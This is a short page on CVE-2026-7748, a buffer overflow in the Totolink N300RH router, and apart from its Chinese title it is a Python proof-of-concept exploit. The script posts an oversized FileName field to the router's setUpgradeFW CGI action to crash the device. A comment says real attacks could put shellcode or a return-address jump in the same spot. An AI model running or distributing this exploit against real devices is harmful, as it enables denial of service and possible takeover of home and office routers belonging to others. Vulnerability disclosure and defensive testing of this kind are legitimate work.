CVE-2026-7748 Totolink N300RH缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2026-7748 Buffer Overflow in Totolink N300RH Target: /cgi-bin/cstecgi.cgi -> setUpgradeFW """ url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; ExploitBot/1.0)" } # Payload构造：发送超长FileName参数触发溢出 # 实际攻击中此处可能包含Shellcode或返回地址跳转 overflow_payload = "A" * 1000 data = { "action": "setUpgradeFW", "FileName": overflow_payload } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check device for crash or shell.") else: print(f"[-] Unexpected response code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") # Crash often leads to connection drop, which is expected print("[!] Device may have crashed due to buffer overflow.") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)